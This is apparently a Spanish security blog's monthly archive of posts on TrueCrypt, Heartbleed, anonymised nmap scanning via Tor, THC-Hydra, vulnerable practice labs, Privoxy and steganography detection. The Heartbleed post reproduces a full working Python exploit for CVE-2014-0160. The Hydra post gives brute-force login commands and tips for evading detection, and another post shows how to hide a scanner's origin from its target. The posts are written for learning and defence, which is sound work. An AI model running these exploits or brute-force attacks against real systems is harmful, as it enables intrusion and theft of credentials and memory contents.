Monthly Archives: abril 2014

  • 0

TrueCrypt , ¿Quieres guardar un secreto?

logo38px TrueCrypt es un software para encriptación de datos de código abierto y la mantención de un volumen de encriptación On-the-fly de los datos de un sistema operativo encriptado en una partición.
Entre sus características más destacables nos encontramos:
– Capacidad para encriptar particiones, como si se tratasen de un solo fichero
– Puede encriptar particiones enteras o un dispositivo extraíble como un USB.
– Puede encriptar la partición de un sistema operativo, introduciendo un sistema de autenticación
previo a la carga del mismo.
– La encriptación se hace en tiempo real y transparente. Encryption on-the- fly(*ver más abajo)
– La paralelización y el pipelining le permiten usar dicha partición ser leída y escrita con un
rendimiento similar al de un disco no encriptado.
– La encriptación puede ser acelerada en aquellos procesadores modernos que lo permiten,
a través del hardware-accelerated AES encryption
– Provee de un sistema de denegación pausible. Por ejemplo si alguien te obligase a revelar la clave
mediante la fuerza, mediante el uso de volúmenes ocultos.

*Encriptación On-the-fly significa que los datos son automáticamente encriptados o desencriptados justo antes que esta sea cargados, o guardados, sin intervención de parte del usuario. Además todo esto se hace siempre en la memoria del sistema con lo cual los datos nunca se ven grabados o leídos en otro soporte. Esto permite ejecutar el sistema operativo con el sistema de archivos entero  encriptado, así como su contenido, sin casi reducir el rendimiento del sistema.

¿Como se consigue que un atacante, no pueda descubrir los datos ocultos, incluso si nos vemos obligados a entregarle la contraseña, por ejemplo, vamos a suponer, que nos estén extorsionando?


Antes de nada hay que decir que este sistema requiere de una partición cifrada previa que llamamos volumen oculto, a diferencia de un volumen stardard de truecrypt, que no es más que un archivo cifrado,  los datos en esa partición se encuentran de por sí indescifrables puesto que se escriben datos aleatorios en vez de hacerse un formateo habitual, con lo cual se hace indistinguible un fichero de volumen de truecryp del resto de los datos de la partición.  TrueCrypt soporta tanto particiones ocultas, como particiones del sistema operativo encriptadas (on-the-fly) , con una utilidad para la carga del mismo que se llama TrueCrypt bootloader, esto quiere decir que se puede instalar por ejemplo, una copia de Windows7 dentro de una partición encriptada, meter la clave, arrancarlo y aún así sería imposible discernir que datos contienen el volumen oculto de truecrypt en esta. Como se habrá adivinado, hacen falta dos claves, una para descifrar el los datos de la partición encriptada  y otra para descifrar los datos en el volumen truecrypt. Además aunque el atacante nos haya obligado a entregar la clave de la partición cifrada, el volumen oculto de truecrypt sigue siendo indistinguible del resto de los datos de la partición, así que el atacante no podrá saber si existe un volumen oculto en la misma.

Como funciona:
TrueCrypt primero intentará descifrar el encabezado de volumen estándar utilizando la contraseña introducida. Si no lo consigue , se carga la zona del volumen en el que una cabecera de volumen oculto se puede almacenar es decir,de 65.536 a 131.071 bytes , que contienen datos únicamente al azar cuando no hay un volumen oculto dentro del volumen en la memoria RAM e intenta descifrarlo utilizando el contraseña introducida. Tenga en cuenta que los encabezados de volumen oculto no puede ser identificado , ya que parecen consistir enteramente en datos aleatorios. Si el encabezado se descifra con éxito, la información sobre el tamaño del volumen oculto se recupera de la cabecera e descifrado almacenada en la memoria RAM , y el volumen oculto se monta.

hidden-volume


Además esta herramienta viene con un asistente que facilitará la tarea de crea un volumen cifrado de forma muy intuitiva y con un gran número de opciones, como los tipos de algoritmos criptográficos que se pueden utilizar. En muy cómodos pasos a cualquiera que lo desee crear un volumen cifrado de truecrypt o una partición cifrada que contenga volúmenes cifrados, sin complicaciones.

 

xps_wizardciphers

 

Conclusión. Es buena idea guardar de esta forma información que no se quiera revelar a terceros, sobre todo si se almacenase en una máquina que pudiera ser vulnerable a algún tipo de ataque informático. Hay que tener en cuenta que muchas veces se producen ataques sobre las cuentas de usuario para hacerse con sus contraseñas y acceder a los archivos a los que estos tienen acceso o a archivos compartidos, una de las advertencias que nos hace truecrypt es la de usar una clave de más de 20 digitos, frente a los entre 8 y 12 que suelen utilizar los usuarios más confiados, esto obliga a usar otra clave más larga y más consistente que la del usuario. De esta forma la información solo será revelada en la memoria del sistema cuando sea descifrada y a cualquier atacante que se hiciese copia del archivo le sería ilegible, dado que desconocería la clave,  haciendo inútil todo su esfuerzo.


¿Quieres guardar un secreto? Pues guárdalo bien.


  • 1

El exploit de Heartbeat “El latido de SSL”


Heartbleed_bug_explainedUn error grave en el código fuente de una de las librerías que maneja SSL ha estado permitiendo la extracción de información de servicios de internet que utilizan el protocolo de comunicaciones basados en SSL desde al menos el 2011. Muchos servidores y máquinas de internet han sido expuestos a la posible fuga de información. El error fue descubierto por un técnico de Google en Diciembre del año pasado.

El Heartbeat, es un mensaje que le indica al servidor que el cliente está “vivo”, simplemente para evitar el cierre de la comunicación. El problema por el cual, el programador que ya ha pedido disculpas por su error, se produce esta inseguridad es por la falta de comprobación de la longitud de entrada de la información al hacer ese envío en la función dtls1_process_heartbeat de ssl/di_both.c

Este latido, más conocido como un “keep alive” (mantener vivo) consiste en que el cliente envía un paquete de datos de 5Bytes, el servidor los recibe y los devuelve, de esta forma se comprueba que efectivamente, sí el servidor nos responde con una “copia”, hay comunicación. Pero en el proceso el servidor almacena los datos en memoria,  de ahí que diga “copia”.

El fallo:
¿Que pasa si le decimos al servidor que queremos unos datos del tamaño de 100kb pero en realidad solo le enviamos 5Bytes? Pues en este caso el fallo, se basa en esto mismo, alterando la longitud del campo, el servidor responderá con un campo igual de largo y en el proceso arrastrará consigo datos de memoria que no corresponden con el destinado a responder a esos Bytes, enviando además datos adyacentes a la cabecera, hasta 64kb por vez. Muchos pensarán que esto no ocurriría en otros lenguajes de programación pero en C es necesario restringir el acceso de las variables en memoria si no se quiere que ocurran estas cosas, sobre todo si la información se va a devolver a un cliente.


¿Que puede suponer esta vulnerabilidad?
Podría ser una lotería porque la asignación de memoria y su reserva dinámica se comportan de forma aleatoria, el atacante podría obtener muchos datos aleatorios, pero a su vez también podría obtener contraseñas y usuarios de los que estuviesen accediendo a un servidor en ese momento o llegar incluso a volcar la memoria del servidor por completo, sería una cuestión de paciencia, pero en cualquier momento seguro que podría revelar algo confidencial.

@yahoo your login servers are vulnerable for the OpenSSL #heartbleed
attack, exposing usernames and plain passwords pic.twitter.com/v8kddiP0Yo
Enlace permanente de imagen incrustada


¿Como saber si un sitio está comprometido? https://filippo.io/Heartbleed/


Han creado también un sitio web para información sobre la vunerabilidad  Le han llamado al sitio heartbleed por una deformación del lenguaje que sa ha quedado en ser un corazón ensangrentado http://heartbleed.com/

Para mitigar los daños ya se ha parcheado la vulnerabilidad, es buena idea comprobar que ha actualizado sus librerias SSL.

Además se disponen de herramientas para testear el fallo:

Un script para comprobar con nmap si está presente la vulnerabilidad https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Exploit escrito en python

# Exploit Title: [OpenSSL TLS Heartbeat Extension - Memory Disclosure - Multiple SSL/TLS versions]
# Date: [2014-04-09]
# Exploit Author: [Csaba Fitzl]
# Vendor Homepage: [http://www.openssl.org/]
# Software Link: [http://www.openssl.org/source/openssl-1.0.1f.tar.gz]
# Version: [1.0.1f]
# Tested on: [N/A]
# CVE : [2014-0160]

#!/usr/bin/env python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by Csaba Fitzl for multiple SSL / TLS version support

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('n', '').decode('hex')

version = []
version.append(['SSL 3.0','03 00'])
version.append(['TLS 1.0','03 01'])
version.append(['TLS 1.1','03 02'])
version.append(['TLS 1.2','03 03'])

def create_hello(version):
    hello = h2bin('16 ' + version + ' 00 dc 01 00 00 d8 ' + version + ''' 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
    return hello

def create_hb(version):
    hb = h2bin('18 ' + version + ' 00 03 01 40 00')
    return hb

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)         print '  %04x: %-48s %s' % (b, hxdat, pdat)     print    def recvall(s, length, timeout=5):     endtime = time.time() + timeout     rdata = ''     remain = length     while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:             return None         r, w, e = select.select([s], [], [], 5)         if s in r:             data = s.recv(remain)             # EOF?             if not data:                 return None             rdata += data             remain -= len(data)     return rdata       def recvmsg(s):     hdr = recvall(s, 5)     if hdr is None:         print 'Unexpected EOF receiving record header - server closed connection'         return None, None, None     typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s,hb):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    for i in range(len(version)):
        print 'Trying ' + version[i][0] + '...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print 'Connecting...'
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print 'Sending Client Hello...'
        sys.stdout.flush()
        s.send(create_hello(version[i][1]))
        print 'Waiting for Server Hello...'
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print 'Server closed connection without sending Server Hello.'
                return
            # Look for server hello done message.
            if typ == 22 and ord(pay[0]) == 0x0E:
                break

        print 'Sending heartbeat request...'
        sys.stdout.flush()
        s.send(create_hb(version[i][1]))
        if hit_hb(s,create_hb(version[i][1])):
            #Stop if vulnerable
            break

if __name__ == '__main__':
    main()

 


Como se aprecia por el tuit, hasta Yahoo se vió afectada por este bug, ¿Cuánto tiempo y cuántas veces ha sido utilizado? Pues bien, aparentemente, por su naturaleza “inofensiva” no habría sido detectado de forma rutinaria, puesto que no hay un comportamiento anómalo que delataría la presencia de un fallo, bug, agujero de seguridad, un hacker, etc, pero en este caso, excepto esa pequeña información de 64kb excedente todo resultaría aparentemente normal.

Esperemos que de aquí en adelante el programador, que como ya dije, se ha disculpado y el resto de la comunidad vigilará más de cerca la implementación de de estas librerías en un proceso continuo de evaluación de riesgos de seguridad, ya que SSL es una de las bases en las que se asientan las comunicaciones cifradas hoy en día.

Pablo Martínez. TeamSec


  • 0

Escaneando con NMAP a través de TOR con proxychains

nmaptor
NMAP es la herramienta más famosa para el escaneo de redes, con ella podremos escanear host, puertos, servicios, descubrir el sistema operativo de la víctima, información relacionada con el hardware, etcétera. NMAP se puede usar desde los dos lados del hacking, bien para descubrir qué servicios tenemos abiertos y poder detectar malware o backdoors, o bien para obtener información de interés a la hora de planificar un ataque. NMAP a su vez viene provisto de scripts para poder comprobar servicios concretos. A la hora de querer enmascarar nuestra identidad tenemos que hacerlo a través de un proxy o la red Tor, si no, a la víctima le llegarán directamente a sus logs nuestra dirección IP. A la hora de encaminar hacia la red tor tenemos disponibles algunas aplicaciones como torsocks o tsocks para dirigir el tráfico a la red Tor. Primero, vamos a instalarnos el servicio tor, si estamos en una distribución GNU/Linux podremos instalarlo directamente desde los repositorios:

# apt-get install tor && apt-get install tor-arm

En caso de no tenerlo en repositorios, debemos descargar el código fuente de aquí, compilarlo e instalarlo. Una vez se haya instalado correctamente, comprobamos si está iniciado con el siguiente comando:

# service tor status

De no estar corriendo, lo arrancamos con:

# service tor start

Los usuarios de Windows pueden realizar esta práctica usando el “Tor browser bundle“, a fin de cuentas, el objetivo es tener el servicio tor instalado para enviar la información a través de él. Una vez tenemos el servicio listo y funcionando, tenemos que usar una aplicación para dirigir el tráfico de la aplicación que queramos a nuestro proxy TOR.
Proxychains es un software destinado a establecer conexiones a través de proxy, en este caso nos proponemos pasar el tráfico por nuestro proxy para enrutar el tráfico al servicio TOR pero se puede enviar la información a proxys HTTP, SOCKS4 o SOCKS5, si no queremos usar tor pero en cambio si queremos conectarnos desde un proxy o lista de proxys podemos buscar en hidemyass para obetener proxys a los que conectarnos. Los usuarios de GNU/Linux podemos instalarlo simplemente con el siguiente comando:

sudo apt-get install proxychains

Los usuarios de Microsoft Windows tendrán que usar otro software que cumpla esta función como sockschains  , en este caso sockschains es software privativo, y como no, de pago, aunque te regalan un tiempo de prueba.
Proxychains usa un fichero donde almacena su configuración, ahí podremos indicarle a qué proxy o cadena de proxys queremos usar para la conexión. Para poder editar el fichero ejecutamos:

# nano /etc/proxychains.conf

Ahora incluimos al final la siguiente línea:

proxylist

Con ello indicamos que el proxy Tor está en nuestra máquina (localhost) en el puerto 9050. Podemos indicarle también otro proxy o una lista de proxys para establecer una cadena. Tenemos más opciones para configurar en este fichero:

  • strict_chain Con esto indicamos que nos coja todos los proxy de la lista, debemos mirar en qué orden queremos que se conecte a los proxys a la hora de escribir la lista, podemos alternarlo con random_chain.
  • random_chain Aquí indicamos que nos hará una cadena aleatoria con el listado de proxys que le definimos más abajo.
  • chain_len = 2 Con esto indicamos la longitud de la cadena aleatoria, debemos tener activado random_chain.
  • proxy_dns  Con esto dirigimos el tráfico dns generado por la aplicación hacia el proxy.

Ahora que lo tenemos configurado podemos ejecutar proxychains e indicarle que ejecute el escáner de puertos:

# proxychains nmap -v -sT <HOST>

nmap_por_tor_sockschains
Ahora nos va mostrando la información a la vez proxychains y nmap: Proxychains nos indica que se ha establecido la conexión tcp a través de TOR y NMAP nos va mostrando su avance. Mientras realiza el escaneo podemos ejecutar tor arm y comprobar que el tráfico se está enviando a través de nuestro proxy en TOR.

tor_arm

Debemos tener en cuenta que la red TOR y proxychains sólo acepta tráfico TCP, así que no podremos realizar los escaneos de tráfico UDP (-sU). En resumidas cuentas es un proceso que requiere poca configuración y que nos permite (a pesar de la lentitud) poder dirigir las conexiones de las aplicaciones que queramos a la red tor dificultando así la detección de quién realiza el escaneo. Si pretendemos redirigir el tráfico http de una aplicación, joomscan por ejemplo, necesitamos un proxy http que redirija el tráfico, por tanto debemos instalar privoxy, configurarlo para que utilize la red tor, sustituir la dirección en el fichero /etc/proxychains.conf por la de nuestro privoxy y lanzar el comando.

Un saludo!


  • 0

THC-Hydra

Hydxhydrara es una herramienta de auditoría que se basa en la fuerza bruta, es especialmente versátil dado que soporta un gran número de servicios con los que puede intentar comunicarse repetidamente, además es multithread (multihilo), con lo cual puede ejecutar varios intentos simultáneamente, claro está, si estos intentos no son rechazados.

https://www.thc.org/thc-hydra/

Puede utilizarse y se ha utilizado para obtener contraseñas, como ya dije, intenta comunicarse con un servicio y como ya es comprensible, al utilizar un servicio normalmente, este necesita que introduzcamos un nombre de usuario y una contraseña. Puede ser nuestro correo, nuestra cuenta de voip, o algo más interno, como la contraseña de configuración de un router wifi. Hydra automatiza el trabajo de prueba y error que supondría tener que intentar esto mismo a mano, es una de esas herramientas que funcionan con la nada sofisticada pero si eficaz técnica de la fuerza bruta.

Hydra es especialmente útil en cuanto a ataques a autenticación web. Podemos adecuar el ataque por fuerza bruta a numerosos escenarios de autenticación web, si antes previamente sabemos cual utiliza.

El descubrimiento de los métodos de autenticación de una página web nos ayudará a conformar un ataque acorde al sistema de autenticación y, a no ser que se hayan implementado unos sistemas muy restrictivos en muchos casos nos vamos a encontrar unos formularios html básicos, simplemente, por ejemplo mirando el código fuente de la página, que normalmente va a contener unas etiquetas como estas:

<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password"> </form>

Como se ve el formulario cumple su función, recoge los datos usuario y contraseña y los envía mediante el método POST.

Vamos a poner tres ejemplos de hydra para usar la fuerza bruta contra autenticaciones web:

Ejecutar hydra para que simule la autenticación HTTP Básica. Correspondería al formulario anterior

hydra -L lista_usuarios -P diccionario 168.5.78.95 http-head /zonausuarios/

Fuerza bruta contra HTTP Digest Authentication. Digest authentication añade un poco más de seguridad a la autenticación cifrando la contraseña con el algoritmo MD5, pero básicamente el uso de hydra es el mismo

hydra -l admin -P diccionario 168.5.78.95 http-get /usuarios

Fuerza bruta para HTML Form Based Authentication

Vamos a suponer que nos encontramos una web, con un formulario de autenticación donde podemos ver estas etiquetas html:

<form name="input" action="login.php" method="post">
<input type="text" name="user">
<input type="password" name="password">

Cuando introducimos mal el usuario el sistema nos comunica un error–> Not allowed. Con esta información podemos conformar una ataque con hydra de la siguiente manera

hydra -L lista_usuarios -P diccionario 168.5.78.95
https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

La potencia de hydra reside en su flexibilidad a través de opciones que nos ofrece, ya que además de soportar una gran cantidad de servicios, podemos modificar su comportamiento, pudiendo conseguir que el ataque no sea detectado como tal si el sistema ofrece alguna protección contra numerosos intentos de autenticación.

Opciones del programa hydra:

.-R restaura una sesión previa, ya sea abortada o interrumpida

-S Conexión SSL

-s <PORT> Especifica el puerto si es distinto al puerto por defecto del servicio

-l <LOGIN> o -L <FILE> si usamos -l tendremos que poner un nombre de usuario único si usamos -L podemos hacer que hydra pruebe con una lista de usuarios

-p <PASS> o -P <FILE> Si usamos -p hydra usará una única password. Esta opción es útil cuando se conoce que un dispositivo de red contiene un usuario y contraseña por defecto en combinación con la opción -M, por ejemplo.Si usamos -P hydra usará un archivo de passwords, o más concretamente un diccionario de passwords

-e <ns> -checkeos adicionales para passwords nulos y/o intentar usar el nombre de usuario como password

-C <FILE> Podemos usar un archivo con el formato “login:pass” en vez de proporcionar las opciones -L y -P

-M <FILE> – Usando esta opción podemos decirle a hydra que ataque en paralelo a una lista de servidores

-o <FILE> Escribirá las contraseñas encontradas en un archivo FILE

-f salir después del primer login/password encontrado. Esto detiene hydra cuando encuentra un resultado positivo.

-t <TASKS> número de conexiones en paralelo que deseamos para le proceso(16 por defecto)

-w Se puede definir el tiempo de espera entre respuestas (30 por defecto)

-v / -V Define el modo de reporte mostrando el modo verbose o mostrando el login + password de cada intento

server El servidor objetivo si no hemos usado la opcion -M

service Servicio a crackear. Protocolos soportados: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp.

HydraGTK es la versión GUI de hydra, y es útil para el que no quiera perder el tiempo con la consola e ir directamente al ataque, igual de potente y flexible.

hydra

Hydra es una esas herramientas que nos enseñan que es muy fácil forzar la seguridad con un mecanismo tan simple como la fuerza bruta. Ojo, no todos los usos de hydra tienen porqué ser maliciosos, pues ha sido muchas veces utilizado para recuperar contraseñas que otros habían olvidado 😉


  • 0

Damn Vulnerables Applications

Vamos a hacer un pequeño repaso de algunas herramientas para los que quieren comenzar con el pentesting sin meterse en “líos” y sin complicaciones, ya que, en su mayoría son live cds que podemos arrancar en una máquina virtual. Esto nos permitirá adecuar el escenario en el que vamos a realizar la auditoría, normalmente un ordenador en el mismo rango de ip que el auditor y con su consentimiento ya que es él mismo.

 

Hacking de aplicaciones Web
dvwaDVWA

DVWA Es una web escrita en PHP que nos ofrece un montón de vulnerabilidades por explotar, entre otras, fuerza bruta, SQLi, SSX, etc. Es muy fácil de instalar puesto que tiene una versión livecd o bien podemos publicarla en un servidor web propio. Nos permite configurarla en 3 niveles de dificultad. Está aplicación es genial si lo que se quiere es entender la mecánica de la obtención de datos a través de inyecciones SQL y además ver en vivo como funciona.

webgoat

WebGoat
Ya había mencionando a WebGoat en un artículo anterior sobre OWASP. Esta aplicación incluye incluso más vulnerabilidades que la anterior y por lo tanto más exhaustiva, funciona en cualquier sistema operativo que permita instalar una máquina virtual de java, ya que está escrito en dicho lenguaje.

Hay muchas otras aplicaciones con vulnerabilidades que podemos encontrar por internet, ya sea en forma de livecd o de página web. Hay numerosos grupos de hackers y expertos en seguridad que las publican para que los novatos practiquen y/o incluso ingresen a sus grupos, si superan los retos correspondientes.

 

Hacking iOS

dvwiosDVIA
Para testear tus skills en hacking de sistemas iOS  en varios aspectos de la seguridad, como puede ser el almacenamiento inseguro o la detección del jailbreak entre otros tantos. Todos basados en vulnerabilidades ya parcheadas de iOS, pero que no deja de ser interesante por ello.

 

Hacking en sistemas linux

hacking_dojo
Hacking dojo
Hacking dojo es una web que ofrece servicios de instrucción en cuanto al pentesting, e-learning en 5 niveles, de novicio a más avanzado.
En esta web podrás encontrar varios live cd muy interesantes, cuando los arrancas, en ellos se encuentran normalmente instalado un servidor web donde indica cual es el objetivo que tenemos que lograr. Estas distribuciones vulnerables están basadas en linux y exigen conocimientos sobre algunos aspectos del sistema, pero a su vez nos embarcará en una serie de retos muy interesantes que nos obligarán a pensar “out of the box” y enfrentarnos al escenario típico de un servidor al que queremos sacar la clave del root.


  • 0

Privoxy

Privoxy es un proxy web sin almacenamiento en caché con capacidades avanzadas de filtrado para mejorar la privacidad. Lo hace modificando las cabeceras HTTP y datos de las páginas web que visitemos, controlando el acceso, eliminando alertas incomodas de la navegación y evitando que los sitios web que visitemos obtengan información de nuestra interactuación con esta. Privoxy tiene una configuración flexible y puede ser personalizado para satisfacer las necesidades y gustos individuales. Tiene aplicación tanto para los sistemas autónomos como para redes multiusuario.

Privoxy es software libre bajo licencia GNU GPLv2. Y tiene su versión en cada uno de los Sistemas operativos más utilizados

Privoxy no esconde su ip, le protege pero no en ese sentido, para esconder una ip es necesario utilizar un servicio de VPN o un servicio como TOR , u otros proxys. También podemos encadenar varios proxys, con utilidades como proxychains o bien hacer combinaciones entre estos servicios.

http://torvpn.com/howitworks.html

 

Combinando TOR y Privoxy

Utilizar privoxy añadirá privacidad a nuestra conexión a la red de TOR, puesto que aunque naveguemos utilizando esta red, nuestro navegador seguiría el mismo comportamiento normal, entregando datos verídicos sobre que navegador usamos, versión, sistema operativo y otros que podrían afectar directa e indirectamente a la privacidad del usuario, sin embargo todos esos datos serían alterados por privoxy, haciendo difícil establecer un patrón de comportamiento del visitante de la web, y/o obtener datos acerca de su software, credenciales, etc. De esta forma es casi imposible establecer una correlación entre el tráfico de origen y el visitante en cada momento que se haga click en una página web, esto mismo intenta el TORBoundle

Además podemos configurar privoxy para que encamine el tráfico hacia otros proxys. En linux editando /etc/privoxy/config y añadiendo una linea al final del mismo parecida a estas.

forward-socks4 / proxy1.org:1024 .
forward-http / proxy2.org:8080 .
forward-socks5 / 192.10.23.66:8081 .

Como se puede apreciar, se le indica a privoxy que tipo de proxy, dirección y puerto del proxy por donde encaminará el tráfico, este proxy no tiene porque ser http asi que podemos usar TOR como el proxy que privoxy usará, añadiendo al final por ejemplo esta línea:

forward-socks5 / 127.0.0.1:9050 .

#recordar que privoxy, en linux es un servicio, así que,
#para que cargue la nueva configuración es necesario reniciarlo

service privoxy restart

Despúes de esto podemos configurarlo como nuestro proxy http en el navegador, este corre en el puerto 8118 por defecto y  privoxy funcionando a través de socks de TOR.

 

privoxy

 

Muchas aplicaciones en linux tienen la opción de utilizar un proxyweb para su funcionamiento, en muchos casos porque no tienen entre sus funcionalidades la opción de usar socks, por lo tanto siempre puede ser útil a la hora de encaminar tráfico hacia el exterior en ocasiones que lo requieran. Por su puesto, privoxy puede hacer las funciones de un proxy transparente por lo cual puede ser una buena idea a la hora de securizar la navegación de usuarios a través de una red.

Pablo Martínez. TeamSec


  • 0

Badstore: Seguridad sin meterse en líos

Casi siempre que alguien empieza a comprobar la seguridad en aplicaciones web, comienza con un navegador colando una comilla (‘) en alguna variable para comprobar si salta algún error, no es una práctica muy ética ir inyectando a diestro y siniestro y menos si lo que buscamos es formarnos sobre cómo funcionan los ataques a páginas web. Para ello necesitamos tener nuestro entorno de pruebas en una red local donde podamos hacer todas las perrerías sin tener k preocuparnos por la ley.

badstoreLogo1

Badstore es una imagen ISO de unos 12Mb, incluye una distribución live de Trinux que arranca un servidor web con una página que imita a una tienda, pero con un montón de vulnerabilidades. Para ejecutarla sólo necesitamos una máquina virtual con 64Mb de RAM. Para ello creamos una máquina virtual con cualquier software de virtualización como VM-Ware o VirtualBox. Antes de arrancar la máquina nos aseguramos que la interfaz de red está en modo puente (Máquina>>Configuración>>Red).

Captura de pantalla de 2014-02-24 18:40:59

Una vez hecho esto iniciamos la máquina virtual, Cuando arranquemos estará un rato cargando y nos pedirá que presionemos “enter” para acceder a la consola. Una vez dentro, podemos teclear “help | more” para encontrar un listado de todos los comandos disponibles.

Captura de pantalla de 2014-01-07 10:20:14

Si tenemos un servidor DHCP en la red sólo tendremos que teclear “ifconfig” para averiguar qué dirección ip nos ha asignado. En cambio, si no nos asigna la direccion IP automáticamente, podremos asignarla nosotros con este comando:

ifconfig -a 192.168.x.x

Algunas de las vulnerabilidades que vas a encontrar son:

  • SQLi (SQL Injection)
  • XSS (Cross Site Scripting)
  • Modificación de cookies
  • Denegación de servicio

Poniéndonos a investigar un poco NMap nos devuelve esta lista de puertos disponibles en nuestra máquina virtual.

Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_html-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
|_html-title: Welcome to BadStore.net v1.2.3s
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_sslv2: server still supports SSLv2
3306/tcp open  mysql    MySQL 4.1.7-standard
| mysql-info: Protocol: 10
| Version: 4.1.7-standard
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Secure Connection

En el reporte podemos comprobar como aparte de los dos puertos web disponibles (80 y 445 para SSL) tenemos el puerto 3306 abierto con MySQL. La primera vulnerabilidad que vemos llega al probar a entrar en el mysql con el usuario administrador (en este caso no tiene password), así por tanto si ejecutamos el comando:

mysql -u root -h 192.168.1.X

una vez dentro podremos ejecutar “SHOW databases;” y seguidamente conectarnos a la base de datos con “CONNECT badstoredb;”

Captura de pantalla de 2014-02-24 18:17:21

Una vez conectados podemos investigar un poco y ver de qué forma está implementada la seguridad de las contraseñas de los usuarios. En este caso vemos que las contraseñas están cifradas en md5 (un campo de pruebas perfecto para probar software como John the ripper o Hashcat) y en algún caso el campo de password está en NULL.

Captura de pantalla de 2014-02-24 18:19:39

Ahora podemos introducir en nuestro navegador del ordenador anfitrión http://ip-del-server y accederemos a nuestro entorno de pruebas para poder realizar cualquier fechoría sin tener que preocuparnos si nos saltamos la ley o no. Una vez accedemos a través del navegador nos encontramos en la página principal.

Captura de pantalla de 2014-02-24 18:45:16

La primera vulnerabilidad que vamos a explotar se encuentra detrás del vínculo “Sigin in our guestbook”, se nos abre un libro de visitas en el cuál podemos realizar ataques XSS de tipo persistente. XSS es un acrónimo de Cross Site Scripting (solo que en vez de C pusieron X para que no se confundiera con CSS),  coexisten dos tipos de ataques XSS, directo e indirecto, el objetivo de los ataques es ejecutar codigo javascript o similar (jquery, ajax…) en el navegador del cliente, con el objetivo de extraer la información de la sesión guardada en el navegador para poder acceder al recurso que sea remotamente. En este caso, podemos escribir código javascript en el formulario, de tal forma que todo usuario que acceda a esa página ejecutará el código que hemos introducido.

En el siguiente post de badstore seguiremos dándole caña, un saludo!!

 

 


  • 0

Esteganografía: Descubriendo archivos ocultos con xsteg.

Lo complicado en la esteganografía es detectar si el archivo que hemos recibido tiene o no un archivo oculto. El método tradicional es abrir el fichero con un editor hexadecimal como Hex Editor y analizar el fichero con detenimiento, pero si queremos algo más sencillo necesitamos un software que nos automatice un poco el proceso, por ejemplo, tenemos en la distribución C.A.IN.E el programa xsteg, un interfaz gráfico simple de la aplicación stegdetect que nos permite analizar el fichero .jpg aplicándole tests y distintos grados de sensibilidad al escaneo.

Para utilizarlo simplemente lo abrimos desde el menú inicio de C.A.IN.E y nos vamos al submenú de forensic tools, en éste menú disponemos de un amplio catálogo de herramientas de informática forense.

forensic_tools_caine

En este caso he hecho la prueba con la imagen que usé en el anterior post de steghide, en la cual escondimos un pequeño documento con extensión .txt
En los dos primeros escaneos el programa me devolvió que no tenía ningún fichero oculto, ¿Cómo que no?. En el siguiente test aumentamos la sensibilidad de 1.60 a 5.60 y en este caso sí nos dio positivo en la prueba de jphide.

captura_xsteg

